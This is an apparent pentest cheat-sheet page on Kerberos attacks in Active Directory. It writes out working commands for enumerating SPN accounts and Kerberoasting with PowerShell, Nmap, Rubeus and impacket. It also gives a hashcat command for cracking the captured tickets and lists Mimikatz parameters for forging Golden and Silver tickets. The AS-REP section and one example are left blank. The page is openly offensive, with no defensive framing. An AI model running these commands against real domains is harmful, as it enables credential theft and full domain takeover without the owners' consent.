Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

Kerberos Attacks

Relationships and Attack paths

We can use bloodhound to find hidden relationships and attack paths in an Active Directory environment.

From the data collect we can escalate our privilege to the target, or use tools like aclpwn.

Kerberoasting

The AD Powershell module can be used to search for users with SPN

Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose Get-ADUser -LdapFilter "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" | Format-Table Name, DistinguishedNam

Using Nmap:

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

Using Rubeus to gain hashes:

Rubeus.exe kerberoast /outfile:hashes.txt

Use the hashcat -m 13100 (Kerberos 5 TGS-REP etype 23) to crack:

hashcat -a 0 -m 13100 SPN.hash /wordlists/rockyou.txt

Using impacket:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

https://newerasec.com/kerberoasting/

AS-RES

Find users with pre-auth enabled using the AD Powershell module :

To exploit run:

Impacket:

https://newerasec.com/as-roast/

Golden Ticket

Once you gained the krbtgt hash (from dcsync or DC compromise)T

The Mimikatz kerberos::golden module handles Golden Tickets

We need the following parameters:

  • /domain - name of the domain

  • /sid - the sid of the domain (can be obtain from 'whoami /user' , remember to remove the RID)

  • /rc4 - the NTLM hash of krbtgt

  • /user - the user you want to create the new TGT ticket for

  • /id - the RIF of that user you looking to create ticket for

  • /ptt - (Optional) inject the new ticket into the current session, if not applied the ticket will be saved to a file

Silver Ticket

use the 'kerberos::golden' module to forge TGS, we will need to pass the following parameters:

  • /domain: The FDQN

  • /sid: The SID (Security Identifier) of the Domain (whoami /user)

  • /user: Target Account/Computer to Impersonate

  • /id: RID of the account you will be impersonating

  • /ptt: Optional ( will automatically inject the ticket into the current session)

  • /rc4: NTLM Hash of User Password/Computer Password

  • /service: the service we want to access

Example:

PreviousSMB VulnerabilitiesNextPrivilege Escalation

Last updated